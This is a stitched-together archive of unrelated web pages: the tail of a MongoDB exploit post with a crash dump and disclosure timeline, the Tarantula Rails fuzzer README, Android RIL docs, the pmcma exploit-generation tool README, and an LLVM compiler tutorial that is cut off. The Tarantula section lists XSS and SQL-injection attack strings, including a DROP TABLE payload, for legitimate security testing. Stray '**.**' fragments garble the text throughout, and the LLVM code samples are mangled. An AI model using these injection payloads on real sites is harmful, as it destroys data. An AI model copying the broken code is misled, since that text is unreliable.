    EDI: 0xf360dae0 --> 0x94a967c --> 0x61 ('a')
    EBP: 0x61616161 --> 0x0 
    ESP: 0x83ffd65e ('a' <repeats 200 times>..**.**)
    EIP: 0x61616161 --> 0x0
    EFLAGS: 0x10203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow)
    [-------------------------------------code-------------------------------------]
     0x6161615b: add BYTE PTR [eax],al
     0x6161615d: add BYTE PTR [eax],al
     0x6161615f: add BYTE PTR [eax],al
    => 0x61616161: add BYTE PTR [eax],al
     0x61616163: add BYTE PTR [eax],al
     0x61616165: add BYTE PTR [eax],al
     0x61616167: add BYTE PTR [eax],al
     0x61616169: add BYTE PTR [eax],al
    [------------------------------------stack-------------------------------------]
    0000| 0x83ffd65e ('a' <repeats 200 times>..**.**)
    0004| 0x83ffd662 ('a' <repeats 200 times>..**.**)
    0008| 0x83ffd666 ('a' <repeats 200 times>..**.**)
    0012| 0x83ffd66a ('a' <repeats 200 times>..**.**)
    0016| 0x83ffd66e ('a' <repeats 200 times>..**.**)
    0020| 0x83ffd672 ('a' <repeats 200 times>..**.**)
    0024| 0x83ffd676 ('a' <repeats 200 times>..**.**)
    0028| 0x83ffd67a ('a' <repeats 200 times>..**.**)
    [------------------------------------------------------------------------------]
    Legend: code, data, rodata, value
    Stopped reason: SIGSEGV
    0x61616161 in **?****?** ()
[/code]

I don’t think this exploit could be use in real life, but the POC is cool and
the databaseSpray a funny feature **\!**

## Not a 0day **?**

After speaking directly to 10gen, here is the new timeline :

2013-05-20 Responsibly disclose \(Production release 2**.** 4**.** 3\) to ZDI  
2013-05-28 10gen release v2.4.4  
2013-05-30 ZDI Answer : "They already knew this bug, it’s not a vulnerability
anymore in 2**.** 4.4" – Close Case  
2013-05-30 I responded that the vuln still exist…  
2013-05-30 I wrote this article, exploiting v2**.** 4.4  
2013-06-05 10gen contact me : "ZDI never contacted us"

As @markofu said "So somewhere between the intermediary & 10gen, communication
broke down :\("

10gen is now actively working on a patch**.**

I let you try it on unstable v2.5.0…

Thx for reading **\!**

About these ads

### WordPress**** :

J'aime chargement…

_Connexe_

****

# relevance's tarantula at master - GitHub

**Created:**| _5/23/2009 8:12:39 PM_  
---|---  
**Updated:**| _5/23/2009 8:12:49 PM_  
**Author:**| __  
**Tags:**| _security tools Fuzzer_  
  

# Tarantula

## DESCRIPTION

Tarantula is a big fuzzy spider. It crawls your Rails application, fuzzing
data to see what breaks.

## Usage

### Installation

The latest and greatest version is always available on GitHub. \(See the
rakefile for dependencies, or just let RubyGems handle it.\)

[code]

        gem sources -a http://gems.github.com
        gem install relevance-tarantula --source http://gems.github.com
    
[/code]

You can also grab it from RubyForge, where we will push stable releases but
may not be as bleeding edge as the GitHub gem.

[code]

        gem install tarantula
    
[/code]

### Project Setup

To set up Tarantula into your application, add the following line into either
config/environment.rb or config/environments/test.rb \(preferred\). This
assumes that you have Rails 2.1 or higher installed.

[code]

        config.gem 'relevance-tarantula', :source => "http://gems.github.com", :lib => 'relevance/tarantula'
    
[/code]

Since Rails doesn’t \(yet\) support automatically loading rake tasks that live
inside gems, you will need to update your Rakefile to load Tarantula’s rake
tasks. The simplest approach is to start by vendoring Tarantula into your
Rails app.

[code]

        mkdir -p vendor/gems
        cd vendor/gems
        gem unpack relevance-tarantula
    
[/code]

You can then add the following line into your Rakefile, which will allow your
application to discover Tarantula’s rake tasks.

[code]

      load File.join(RAILS_ROOT, Dir["vendor/gems/relevance-tarantula-*/tasks/*.rake"])
    
[/code]

### Crawling Your App

Use the included rake task to create a Rails integration test that will allow
Tarantula to crawl your app.

[code]

       #!sh
       rake tarantula:setup
    
[/code]

Take a moment to familiarize yourself with the generated test. If parts of
your application require login, update the test to make sure Tarantula can
access those parts of your app.

[code]

       require "relevance/tarantula"
    
       class TarantulaTest < ActionController::IntegrationTest
         # Load enough test data to ensure that there's a link to every page in your
         # application. Doing so allows Tarantula to follow those links and crawl
         # every page.  For many applications, you can load a decent data set by
         # loading all fixtures.
         fixtures :all
    
         def test_tarantula
           # If your application requires users to log in before accessing certain
           # pages, uncomment the lines below and update them to allow this test to
           # log in to your application.  Doing so allows Tarantula to crawl the
           # pages that are only accessible to logged-in users.
           #
           #   post '/session', :login => 'quentin', :password => 'monkey'
           #   follow_redirect!
    
           tarantula_crawl(self)
         end
       end
    
[/code]

If you want to set custom options, you can get access to the crawler and set
properties before running it. For example, this would turn on HTMLTidy.

[code]

       def test_tarantula
         post '/session', :login => 'kilgore', :password => 'trout'
         assert_response :redirect
         assert_redirected_to '/'
         follow_redirect!
    
         t = tarantula_crawler(self)
         t.handlers << Relevance::Tarantula::TidyHandler.new
         t.crawl '/'
       end
    
[/code]

Now it’s time to turn Tarantula loose on your app. Assuming your project is at
/work/project/:

[code]

       #!sh
       cd /work/project
       rake tarantula:test
    
[/code]

## Verbose Mode

If you run the test using the steps shown above, Tarantula will produce a
report in tmp/tarantula. You can also set VERBOSE=true to see more detail as
the test runs.

For more options, please see the test suite.

## Allowed Errors

If, for example, a 404 is an appropriate response for some URLs, you can tell
Tarantula to allow 404s for URLs matching a given regex:

[code]

         t = tarantula_crawler(self)
         t.allow_404_for %r{/users/\d+/}
    
[/code]

## Custom Attack Handlers

You can specify the attack strings that Tarantula throws at your application.

[code]

        def test_tarantula
          t = tarantula_crawler(self)
    
          Relevance::Tarantula::AttackFormSubmission.attacks << {
            :name => :xss,
            :input => "<script>gotcha!</script>",
            :output => "<script>gotcha!</script>",
          }
    
          Relevance::Tarantula::AttackFormSubmission.attacks << {
            :name => :sql_injection,
            :input => "a'; DROP TABLE posts;",
          }
    
          t.handlers << Relevance::Tarantula::AttackHandler.new
          t.fuzzers << Relevance::Tarantula::AttackFormSubmission
          t.times_to_crawl = 2
          t.crawl "/posts"
        end
    
[/code]

This example adds custom attacks for both SQL injection and XSS. It also tells
Tarantula to crawl the app 2 times. This is important for XSS attacks because
the results won’t appear until the second time Tarantula performs the crawl.

## Timeout

You can specify a timeout for each specific crawl that Tarantula runs. For
example:

[code]

      def test_tarantula
        t = tarantula_crawler(self)
        t.times_to_crawl = 2
        t.crawl_timeout = 5.minutes
        t.crawl "/"
      end
    
[/code]

The above will crawl your app twice, and each specific crawl will timeout if
it takes longer then 5 minutes. You may need a timeout to keep the tarantula
test time reasonable if your app is large or just happens to have a large
amount of ‘never-ending’ links, such as with an any sort of "auto-admin"
interface.

## Bugs/Requests

Please submit your bug reports, patches, or feature requests at Lighthouse:

relevance.lighthouseapp.com/projects/17868-tarantula/overview

You can view the continuous integration results for Tarantula, including
results against all supported versions of Rails, on RunCodeRun here:

runcoderun.com/relevance/tarantula

# Android - Radio Layer Interface

**Created:**| _4/25/2011 12:39:51 PM_  
---|---  
**Updated:**| _4/25/2011 12:39:51 PM_  
**Author:**| __  
**Tags:**| _attacks Malware-analysis android_  
  

# Radio Layer Interface

Introduction  
RIL Initialization  
RIL Interaction  

Solicited  
Unsolicited  

Implementing the RIL  

RIL\_Init  

RIL Functions  

RIL Solicited Command Requests  
RIL Unsolicited Commands  

## Introduction

Android's Radio Interface Layer \(RIL\) provides an abstraction layer between
Android telephony services \(android.telephony\) and radio hardware. The RIL
is radio agnostic, and includes support for Global System for Mobile
communication \(GSM\)-based radios.

The diagram below illustrates the RIL in the context of Android's Telephony
system architecture.

<img src='img/Temp2_780.gif' />

Solid elements represent Android blocks and dashed elements represent partner-
specific proprietary blocks.

The RIL consists of two primary components:

  * **RIL Daemon** : The RIL daemon initializes the Vendor RIL, processes all communication from Android telephony services, and dispatches calls to the Vendor RIL as solicited commands.
  * **Vendor RIL** : The radio-specific Vendor RIL of `ril.h` that processes all communication with radio hardware and dispatches calls to the RIL Daemon \(`rild`\) through unsolicited commands.

## RIL Initialization

Android initializes the telephony stack and the Vendor RIL at startup as
described in the sequence below:

  1. RIL daemon reads `rild.lib` path and `rild.libargs` system properties to determine the Vendor RIL library to use and any initialization arguments to provide to the Vendor RIL
  2. RIL daemon loads the Vendor RIL library and calls `RIL_Init` to initialize the RIL and obtain a reference to RIL functions
  3. RIL daemon calls `RIL_register` on the Android telephony stack, providing a reference to the Vendor RIL functions

See the RIL Daemon source code at `//device/commands/rild/rild.c` for details.

## RIL Interaction

There are two forms of communication that the RIL handles:

  * Solicited commands: Solicited commands originated by RIL lib, such as `DIAL` and `HANGUP`.
  * Unsolicited responses: Unsolicited responses that originate from the baseband, such as `CALL_STATE_CHANGED` and `NEW_SMS`.

### Solicited

The following snippet illustrates the interface for solicited commands:

[code]

    void OnRequest (int request_id, void *data, size_t datalen, RIL_Token t);
    void OnRequestComplete (RIL_Token t, RIL_Error e, void *response, size_t responselen);
    
[/code]

There are over sixty solicited commands grouped by the following families:

  * SIM PIN, IO, and IMSI/IMEI \(11\)
  * Call status and handling \(dial, answer, mute…\) \(16\)
  * Network status query \(4\)
  * Network setting \(barring, forwarding, selection…\) \(12\)
  * SMS \(3\)
  * PDP connection \(4\)
  * Power and reset \(2\)
  * Supplementary Services \(5\)
  * Vendor defined and support \(4\)  

The following diagram illustrates a solicited call in Android.

<img
src='http://www.netmite.com/android/mydroid/development/pdk/docs/telephony_solicted_example.gif'
/>

### Unsolicited

The following snippet illustrates the interface for unsolicited commands:

[code]

    void OnUnsolicitedResponse (int unsolResponse, void *data, size_t datalen);
    
[/code]

There are over ten unsolicited commands grouped by the following families:

  * Network status changed \(4\)
  * New SMS notify \(3\)
  * New USSD notify \(2\)
  * Signal strength or time changed \(2\)

The following diagram illustrates an unsolicited call in Android.

<img
src='http://www.netmite.com/android/mydroid/development/pdk/docs/telephony_unsolicted_example.gif'
/>

## Implementing the RIL

To implement a radio-specific RIL, create a shared library that implements a
set of functions required by Android to process radio requests. The required
functions are defined in the RIL header \(`/include/telephony/ril.h`\).

The Android radio interface is radio-agnostic and the Vendor RIL can use any
protocol to communicate with the radio. Android provides a reference Vendor
RIL, using the Hayes AT command set, that you can use as a quick start for
telephony testing and a guide for commercial vendor RILs. The source code for
the reference RIL is found at `/commands/reference-ril/`.

Compile your Vendor RIL as a shared library using the convention
`libril-<companyname>-<RIL version>.so`, for example, libril-acme-124.so,
where:

  * **libril** : all vendor RIL implementations start with 'libril'
  * **< companyname>**: a company-specific abbreviation
  * **< RIL version>**: RIL version number
  * **so** : file extension

### RIL\_Init

Your Vendor RIL must define a RIL\_Init function that provides a handle to the
functions which will process all radio requests. RIL\_Init will be called by
the Android RIL Daemon at boot time to initialize the RIL.

[code]

    RIL_RadioFunctions *RIL_Init (RIL_Env* env, int argc, char **argv);
    
[/code]

RIL\_Init should return a RIL\_RadioFunctions structure containing the handles
to the radio functions:

[code]

    type structure {
    	int RIL_version;
    	RIL_RequestFunc onRequest;
    	RIL_RadioStateRequest onStateRequest;      
    	RIL_Supports supports;
    	RIL_Cancel onCancel;
    	RIL_GetVersion getVersion;
    } 
    RIL_RadioFunctions;
    
[/code]

## RIL Functions

`ril.h` defines RIL states and variables, such as `RIL_UNSOL_STK_CALL_SETUP`,
`RIL_SIM_READY`, `RIL_SIM_NOT_READY`, as well as the functions described in
the tables below. Skim the header file \(`/device/include/telephony/ril.h`\)
for details.

### RIL Solicited Command Requests

The vendor RIL must provide the functions described in the table below to
handle solicited commands. The RIL solicited command request types are defined
in `ril.h` with the `RIL_REQUEST_` prefix. Check the header file for details.

Name| Description  
---|---  
` void (*RIL_RequestFunc) (int request, void *data, size_t datalen, RIL_Token
t);`|  This is the RIL entry point for solicited commands and must be able to
handle the various RIL solicited request types defined in `ril.h` with the
`RIL_REQUEST_` prefix.

  * `request` is one of `RIL_REQUEST_*`
  * `data` is pointer to data defined for that `RIL_REQUEST_*`
  * `t` should be used in subsequent call to `RIL_onResponse`
  * `datalen` is owned by caller, and should not be modified or freed by callee

Must be completed with a call to `RIL_onRequestComplete()`.
`RIL_onRequestComplete()` may be called from any thread before or after this
function returns. This will always be called from the same thread, so
returning here implies that the radio is ready to process another command
\(whether or not the previous command has completed\).  
` RIL_RadioState (*RIL_RadioStateRequest)();`| This function should return the
current radio state synchronously.  
` int (*RIL_Supports)(int requestCode);`| This function returns "1" if the
specified `RIL_REQUEST` code is supported and 0 if it is not.  
` void (*RIL_Cancel)(RIL_Token t);`| This function is used to indicate that a
pending request should be canceled. This function is called from a separate
thread--not the thread that calls `RIL_RequestFunc`. On cancel, the callee
should do its best to abandon the request and call `RIL_onRequestComplete`
with `RIL_Errno CANCELLED` at some later point. Subsequent calls to
`RIL_onRequestComplete` for this request with other results will be tolerated
but ignored \(that is, it is valid to ignore the cancellation request\).
`RIL_Cancel` calls should return immediately and not wait for cancellation.  
` const char * (*RIL_GetVersion) (void);`| Return a version string for your
Vendor RIL  
The vendor RIL uses the following callback methods to communicate back to the
Android RIL daemon.

Name| Description  
---|---  
`void RIL_onRequestComplete(RIL_Token t, RIL_Errno e, void *response, size_t
responselen);`|

  * `t` is parameter passed in on previous call to `RIL_Notification` routine.
  * If `e` \!= SUCCESS, then response can be null and is ignored
  * `response` is owned by caller, and should not be modified or freed by callee
  * `RIL_onRequestComplete` will return as soon as possible

  
`void RIL_requestTimedCallback (RIL_TimedCallback callback, void *param, const
struct timeval *relativeTime);`| Call user-specified callback function on the
same thread that `RIL_RequestFunc` is called. If `relativeTime` is specified,
then it specifies a relative time value at which the callback is invoked. If
`relativeTime` is NULL or points to a 0-filled structure, the callback will be
invoked as soon as possible.  
### RIL Unsolicited Commands

The functions listed in the table below are call-back functions used by the
Vendor RIL to invoke unsolicited commands on the Android platform. See `ril.h`
for details.

Name| Description  
---|---  
`void RIL_onUnsolicitedResponse(int unsolResponse, const void *data, size_t
datalen);`|

  * `unsolResponse` is one of `RIL_UNSOL_RESPONSE_*`
  * `data` is pointer to data defined for that `RIL_UNSOL_RESPONSE_*`
  * `data` is owned by caller, and should not be modified or freed by callee

# toucan-system/pmcma - GitHub

**Created:**| _1/3/2012 4:37:38 PM_  
---|---  
**Updated:**| _1/3/2012 4:37:38 PM_  
**Author:**| __  
**Tags:**| _Debugging post-exploitation Linux_  
  

[code]

               Post Memory Corruption Memory Analyzer
    
    
    
    
      What is it?
      -----------
    
      Pmcma is a tool aimed at determining if a given software bug
      is an exploitable vulnerability by automatically writing an
      exploit for it.
    
      Like every powerful tool made by human beings, it is double
      edged : it can be used for good or evil.
    
      Is this tool for me ?
      ---------------------
    
      Pmcma has a wide range of applications, depending on your use
      of computer software.
    
      As an advanced user, you may experience software bugs in the form
      of crashes you are able to repeat and would like to report those
      bugs to software maintainers. Very often, sadly, they will not
      take your bug request very seriously until you prove them it may
      have serious security implications. In this case, attaching a
      pmcma output to your bug report may convince them to fix the bug
      (or not, if pmcma rules it out as non exploitable ;)
    
      As a system administrator, you may find Proof of Concepts or even
      proper exploits disclosed in public places such as security mailing
      lists or security websites and wonder if your own systems would be
      affected by simple modifications of those public codes (that usually
      never work "as is" anywhere but on the computer of their author ;)
    
      As a software developer or maintainer, you may experience or be
      reported segmentation faults in your software. Pmcma helps you
      determine what is happening at assembly level and determine which
      bugs are in fact vulnerabilities and should be fixed first.
    
      As a computer security enthusiast, you may want to learn more about
      software exploitation and experiment. Way to go !
    
      As a security expert or software hacker well versed in exploit writing,
      you may want to automate reverse engineering as much as possible to
      spend your time on what is specific to the particular exploit you are 
      writing.
    
      As a script kiddie, you may have found a piece of code you don't
      understand on the internet, but are nonetheless decided to go to jail.
    
    
    
      In all those cases, and surely many others, Pmcma was probably made
      for you.
    
      Supported platforms
      -------------------
    
      Currently, pmcma is known to work on x86 and x86_64 intel cpus.
      Pmcma currently works on GNU/Linux as well as Android.
      It has been tested on several Ubuntu, Debian, Fedora and Gentoo
      distributions in both 32bit and 64bit.
    
      Usage
      -----
    
      Try the command:
        man ./pmcma.1
    
      The Latest Version
      ------------------
    
      The latest version of Pmcma can be found at:
      https://github.com/toucan-system/pmcma
    
      The official website of Pmcma is:
      http://www.pmcma.org
    
      Installation
      ------------
    
      Please see the file called COMPILING.
    
      Licensing
      ---------
    
      Please see the file called LICENSE.
    
      Contributors
      -------------
    
      Please see the file called AUTHORS.
    
      Contacts
      --------
    
      If you would like to participate to the development
      of Pmcma and receive alerts of latest releases, you
      can subscribe to the Pmcma mailing list at:
      http://groups.google.com/group/pmcma
      and alternatively visit the website at:
      http://www.pmcma.org
    
      For matters related to Toucan System only, please use:
      contact@toucan-system.com
    
      For urgent security matters, you can contact Jonathan Brossard
      directly at:
      endrazine@gmail.com
      using the pgp key below:
    
    -----BEGIN PGP PUBLIC KEY BLOCK-----
    Version: GnuPG v1.4.9 (GNU/Linux)
    
    mQGiBEoMmvURBACt+B7c1MCV90PjaEE7b6m+UB51tATi8U7Jj2H2gymT6xF/3TRO
    ymYkXfMeU/zlSkmxJyyhT/Z86NFL1xIxngRL+zc2enFv+mHvABj3D8B/lMHA1WjA
    agen26pqhWSlow7T2sUPlDPUsGzvJYqnUuuVPH+6FMWF5LyP5dsfYD+fJwCgxxx4
    6iGndgLscJ0xPaI2CPvXSt8D/2bRaegV9if+VlQlIN1esAI2KLdClihECXtkqNjh
    lSkGBqEJOljivwPX3tNad+szgiZoUeY0W3gM06e7aaxiJ+YhhXuSO8BcgJ03h5rA
    D9Fyu8vBap/xUQg923CGzPJMY4PCxQlkUlIui8SWxbv8tUN4MbMT5MMx8EWZv1NL
    6i9SA/4mQ/l9ZO14Kukqcg6rRm/KYH4IDlNg5t77+FaTzaq1miDJChOrfEdpOgrS
    vDqyS1odr/IKibaknXUh65LhcppSI9byk5eS+cfwHLEQgqIlX3o3Uzaqa3HfhjYW
    2YCovavnazNJG7Pe9uIPcBacnZtusDgrZrzUA64Vmh05wj2Z8bQnSm9uYXRoYW4g
    QnJvc3NhcmQgPGVuZHJhemluZUBnbWFpbC5jb20+iGAEExECACAFAkoMmvUCGwMG
    CwkIBwMCBBUCCAMEFgIDAQIeAQIXgAAKCRAr9gCbs9jJudOpAJ9ZpHKyzAxi/LYj
    thIeTMl2vXVt4QCgphukZzqKiS0pkbQxyuDPQhbNCAm5Ag0ESgya9RAIAIgiM6Cf
    gSJ09jHN/6ozy5Hdnz9iRsk00+wY5bhoXWIkrITqck2wgSpip1xMlXcj5zimXoos
    KTpb3W/oXalqtEmFowgBCZsW+HMhuWpjges8EvjCqAybl+RWpsirhdcAX1Xy3nj9
    MVUEcAvIYU4u9w4ROW8ibAMxtnjJ7lgvreBuiYvPSBWDhi0j+m+5Fj4HlW9qKxLe
    Hzee+tBYaWZ4ihnCE2dqkJCebq89ryLorDxSmFfurmZNPz/AjIw0H1+R1etiyYkR
    X5d7EgsFZCvof96so4HySq1nLsKFACJAI0oGJ5fV1T8U2w2rAN1Cqa9+WKEqFrZo
    JALQSPAFQ38SQksAAwUH/RGFyR8nGS/yCk5YeOTdwJtxONVbnN4PEzGCdl6ejGLV
    bm2CDTseS604qL9E/u82r7okgG8zPGyfD0LIXTOYJQqvchlNatAARlc5eDXXK0da
    F7/7VrS79AcOs9Syj0UQ0598Z3fP7bhmpOxHXX5Z81s/x34Ls2YRUvd0GgEBK1u7
    pFx130O+6T8V+ezbCHOmv9W0UH5lBgnw5PQdTHzd4QUw169pO0GRwVARuEzyKIAe
    c+cycdELK6R1/BsUSE/5qs8ERACZop/6kO1wL2VgVh2Rqj5FN9aQiihvGS9PRKiR
    Cs+AQdExCcWSMs+V9ec+VE7oM69VoUBU3gsYBSCazIyISQQYEQIACQUCSgya9QIb
    DAAKCRAr9gCbs9jJuUBRAJ9jvMjEdEf7uEm2fSAJDMaUOX9EwwCePGePxjijbuun
    biHUzgJDjrUNQQM=
    =b1PB
    -----END PGP PUBLIC KEY BLOCK-----
    
      Acknowledgments
      ----------------
    
      We wish to thank the following people for their contributions to Pmcma
      being it in the form of proper code, whitepaper review, or ideas:
    
      spender, Silvio Cesare, andrewg, bliss, BSDaemon, Ivanlef0u, msuiche,
      redsand, nergal, pipacs, mercy, Mark Dowd, twiz, caddis, #hes, #social
      #busticati, #ruxcon
    
[/code]

# Understanding the heap by breaking it

**Created:**| _4/15/2010 3:54:55 PM_  
---|---  
**Updated:**| _4/15/2010 3:55:40 PM_  
**Author:**| __  
**Tags:**| _windows security Exploit windows research papers reversing
conference-material Heap_  
  
<img src='img/Temp2_8713' />

# LLVM - ANTLR 3 - ANTLR Project

**Created:**| _1/23/2013 7:35:33 AM_  
---|---  
**Updated:**| _1/23/2013 7:35:33 AM_  
**Author:**| __  
**Tags:**| _Practical Software Verification llvm parser antlr_  
  
  

# **A** NTLR Project****

|  I wanted to build something using LLVM in my new book, Language
Implementation Patterns \[1\], but I ran out of room**.** I left a link to
this page in the book instead**.** **Note** : _This is not text cut from the
book; it's just some text I slapped together around a nice clean example of
how to use ANTLR+StringTemplate with LLVM to build a compiler**.**_  
  
LLVM is one of the best pieces of open-source software available; check it
out**\!**  
---|---  
## Introduction****

Compilers have two main components called the front-end and the back-end**.**
The front-end parses the input language, builds a symbol table, performs
semantic analysis, and emits a highly processed version of the input called an
intermediate representation \(IR\)**.** The back-end creates even more data
structures such as control-flow graphs, optimizes the IR, maps IR computation
values to machine registers, and emits assembly language as text**.** An
assembler does the final pass to convert the assembly code to raw binary
machine code**.**

The front-end is usually less challenging than the back-end, though
implementing the intricate rules of semantic analysis can be demanding and
tedious**.** \(C++ might be the only language whose front-end rivals the back-
end in complexity**.**\) The overall task of building a compiler then is much
more manageable if we can avoid building a back-end by reusing some existing
software**.**

Either we have to reuse an existing compiler or we have to use a compiler
construction library**.** The simplest way is to translate a new language to
an existing language for which a compiler already exists**.** This is the
approach taken by the original C++ compiler took**.** `cfront` translated C++
to C, which worked well because C++'s core semantics are the same as C's
semantics**.** Unfortunately, the semantics are not always close enough for a
straightforward translation**.** Consider translating a few lines of Java code
to C. This simple method and variable definition:

`void` `f() {``ArrayList a = ``new` `ArrayList();``..**.**``}`  
---  
is roughly the same as this C function:

`void` `f() {``struct ArrayList *a = calloc(``1``, sizeof(struct
ArrayList));``..**.**``}`  
---  
Looks great until you realize that C does not have automatic garbage
collection**.** Because `f()` could pass `a` to another function, we cannot
fake it by simply putting `free(a);` at the end of `f()`**.** C is just plain
uncooperative when it comes to garbage collection**.** Compiling Java to
native code means we need to translate it to something lower level than C with
more control over the machine**.**

Instead of translating to a high-level language, we can translate source code
to the IR of a compiler toolkit**.** Until recently, the toolkits for building
compiler back-ends have either been insufficiently general, unstable, or
difficult to use**.** The _Low Level Virtual Machine_ \(LLVM\),
`http://www.llvm.org [2]`, changes all of that**.** LLVM started at the
University of Illinois Urbana-Champaign but has grown significantly and is now
partially supported by Apple Computer**.** Here's what the overall dataflow
will look like in our compiler:

<img src='img/Temp2_4816.jpg' width='576' height='158' />

We're going to read C subset source code and build an AST from it \(See
Chapter 4 in Language Implementation Patterns \[3\]\)**.** This example
doesn't have it, but normally we'd build a symbol table \(See Chapter 7\) and
then do semantic analysis \(See Chapter 8\) by walking over the tree \(See
Chapter 5\)**.**

Once we have the .ll file \(the IR\), LLVM can't take over to generate machine
code**.** LLVM's IR \[4\] is somewhere between assembly code and a C-like
high-level language**.** LLVM's IR is really a virtual instruction set for a
RISC-like virtual machine**.** LLVM can both interpret the IR and compile it
down to highly-optimized assembly code**.**

The book describes the semantic analysis stuff pretty well, so let's focus on
walking ASTs to generate LLVM's intermediate representation:

<img src='img/Temp2_4815.jpg' width='576' height='127' />

Our generator is a tree grammar \(a formalization of the handbuilt visitor\)
that yields a large tree of templates**.** Each template represents a single
translated chunk of the input**.** As we walk the tree, we'll build up a
hierarchy by embedding the templates returned for one rule in the template
result of another**.**

## A quick look at LLVM's IR****

_The IR doc\[5\] will be your friend**.**_

We're going to use LLVM's text-based representation of its IR rather than
building up objects in memory using Java API**.** When there's a nice domain-
specific language \(DSL\) available, I always prefer it over using a
library**.** The details of using library are usually harder to learn than the
DSL and you have to learn a new one for each language**.** The text-based IR
is language neutral sense that any language can generate that text**.**

Let's start with a trivial example**.** Here's how we can represent statement
`print 99` in the IR:

`; define string constant ``"%d\n"``@s` `= internal constant [``4` `x i8]
c``"%d\0A\00"``; declare C function: extern ``int` `printf(``char` `*,
..**.**)``declare i32 ``@printf``(i8 *, ..**.**)``; define main entry point
like main() in a C program``define i32 ``@main``() {``; get the address of 1st
``char` `of s: &s[``0``]``; reuseable ``for` `all printf calls``%ps =
getelementptr [``4` `x i8]* ``@s``, i64 ``0``, i64 ``0``; get ``99` `into a
register; t0 = ``99``+``0` `(LLVM has no load ``int` `instruction)``%t0 = add
i32 ``99``,``0``; call printf with ``"%d\n"` `and t0 as arguments``call i32
(i8 *, ..**.**)* ``@printf``(i8* %ps, i32 %t0)``ret i32 ``0` `; ``return`
`0``}`  
---  
To boil that IR down to machine code and execute, first get the output into a
file, `t**.** ll`. Then, run the LLVM tool chain:

`$ llvm-as -f t.ll # assemble IR to bitcode file t.bc``$ llc -f t.bc # compile
instructions to assembly code file t.s (x86 on my box)``$ llvm-gcc -o t t.s #
assemble x86 down to machine code and link (or use plain gcc)``$ **.** /t #
execute the program t in current directory``99` `# the output``$`  
---  
LLVM also has an interpreter that you can invoke on the bitcodes \(in LLVM
parlance\) without having to use `llc` and `gcc` execute the program:

`$ lli t.bc``99``$`  
---  
To learn more about the IR, you should use the llvm-base gcc C compiler**.**
You can type in some C code and then ask the compiler to generate IR instead
of assembly code:

`llvm-gcc -emit-llvm -S -c mycode**.** c`  
---  
The generated `mycode**.** s` file contains LLVM IR \(not assembly code as
you'd expect with just -S option\) that shows one way to represent the
statements in the C program**.**

Here are a few things to keep in mind when reading the documentation  
for LLVM's IR and generating IR:

  * llvm calls **.** ll files modules**.**

  * global variables start with @, but registers and local variables start with %**.**

  * declarations for external funcs go first in a module then globals then local functions**.**

  * global variables define pointer values not values**.**

  * start all basic blocks with a label \(functions automatically get one\)**.**

## C subset to compile****

For this project, we'll build a compiler for a simple C subset**.** The
language supports arrays but very few operators and only integer types**.**
The features are:

  * int type
  * functions with void or int return type and multiple arguments
  * if statements
  * while statements
  * return statements
  * printf\("s", n\) method; allows simplified version with format string and single integer argument**.** This is the only place a string is allowed \(i**.** e., you can't use it in a general expression nor as an argument to a user-defined function\)
  * operators: +, -, ==, **\!** =
  * arrays
  * globals and locals
  * no pointers**.** LLVM IR uses them though.

## Mapping from source language to IR****

As with any translation project, we must start by identifying precisely what
input translates to what output**.** I usually start out with a few small,
real examples and then abstract from there what the individual statements and
expressions translated to**.**

Looking at the simple print example from above, we find that all of the
strings in print statements need to appear first in this form \(for ith string
s\):

`@s``<i> = internal constant [<s.lengthInBytes> x i8] c``"<s>"`  
---  
Next, consider what the actual `printf("%d\n", expression)` function call
translates to:

`; get the address of 1st ``char` `of s: &s[``0``]``; reuseable ``for` `all
printf calls``%ps = getelementptr [``4` `x i8]* ``@s``, i64 ``0``, i64
``0``call i32 (i8 *, ..**.**)* ``@printf``(i8* %ps, i32 %t) ; t is reg with
expression to print`  
---  
The getelementptr instruction can be pretty confusing; if I were you, I would
start out by simply memorizing that we need that instruction to reference a
string**.** \(You can in more deeply into it by reading The Often
Misunderstood GEP Instruction \[6\]**.**\)

Here's a list of some of the mappings we'll need:

Source |  LLVM IR   
---|---  
int constant `n` |  `%t = add i32 n,0`  
`int x` |  `@x = global i32 0 ; global var`  
`int a[n]` |  `@a = global [n x i32] zeroinitializer ; global array`  
`a` |  `%t = load i32* %a`  
`a[i]` |  `i32* getelementptr ([10 x i32]* @a, i32 0, i32 i)`  
`void f()` |  | `define ``void` `@f``() {``ret ``void``}`  
---  
`int i` |  `%i = alloca i32`  
`int a[10]` |  `%a = alloca [10 x i32] ; allocate local array`  
| `void` `f(``int` `a, ``int` `b\[``10``]) {``x =``}`  
---  
The arguments are constant values/references, so we can't store values into the arguments directly in the IR**.** We have to create local space and store the argument into at first**.** Don't worry though LLVM will optimize away all of the alloca and store instructions**.** | `define ``void` `@f``(i32 %a_arg, i32* %b_arg) nounwind {``; alloca, stores can be optimized away``; make space ``for` `arg a and ptr to ``int` `(array arg b)``%a = alloca i32``%b = alloca i32*``; store constant arguments into memory locations``store i32 %a_arg, i32* %a``store i32* %b_arg, i32** %b``; ..**.** can mess with args now ...``%t0 = add i32 ``33``, ``0` `; t0 = ``33``store i32 %t0, i32* %a ; a = t0``%t1 = load i32* %a ; t1 = a;``ret ``void``}`  
---  
| `int` `f() {``return` `1``;}`  
---  
| `define i32 ``@f``() nounwind {``%rv = add i32 ``1``, ``0` `; gets
optimized``ret i32 %rv``}`  
---  
Here are a few complete examples**.** First, factorial:

| `int` `f(``int` `n) {``if` `( n<=``1``) ``return` `1``;``return`
`n*f(n-``1``);``}`  
---  
| `declare i32 ``@printf``(i8 *, ..**.**)``define i32 ``@fact``(i32 %n_arg)
{``; init arg(s): n``%n = alloca i32``store i32 %n_arg, i32* %n``; ``if` `(
n<=``1``) ``return` `1``;``%r1 = load i32* %n``%r2 = add i32 ``1``, ``0``%r3 =
icmp sle i32 %r1, %r2``br i1 %r3, label %true5, label %false5``true5:``;
``return` `1``;``%r4 = add i32 ``1``, ``0``ret i32 %r4``false5:``; ``return`
`n*fact(n-``1``);``%r6 = load i32* %n``; fact(n-``1``)``%r7 = load i32*
%n``%r8 = add i32 ``1``, ``0``%r9 = sub i32 %r7, %r8``%r10 = call i32(i32)*
``@fact``(i32 %r9)``%r11 = mul i32 %r6, %r10``ret i32 %r11``ret i32 ``0` `;
auto-generated and eliminated by LLVM``}`  
---  
And here's an example that messes with a local integer and a global array**.**

| `int` `a[``10``]; ``// must be a constant size``void` `f() { ``int` `x;
x=``2``; a[x] = ``99``; x = a[``2``]; printf(``"%d\n"``, x); }`  
---  
| `declare i32 ``@printf``(i8 *, ..**.**)``@s1` `= internal constant [``4` `x
i8] c``"%d\0A\00"``; ``int` `a[``10``];``@a` `= global [``10` `x i32]
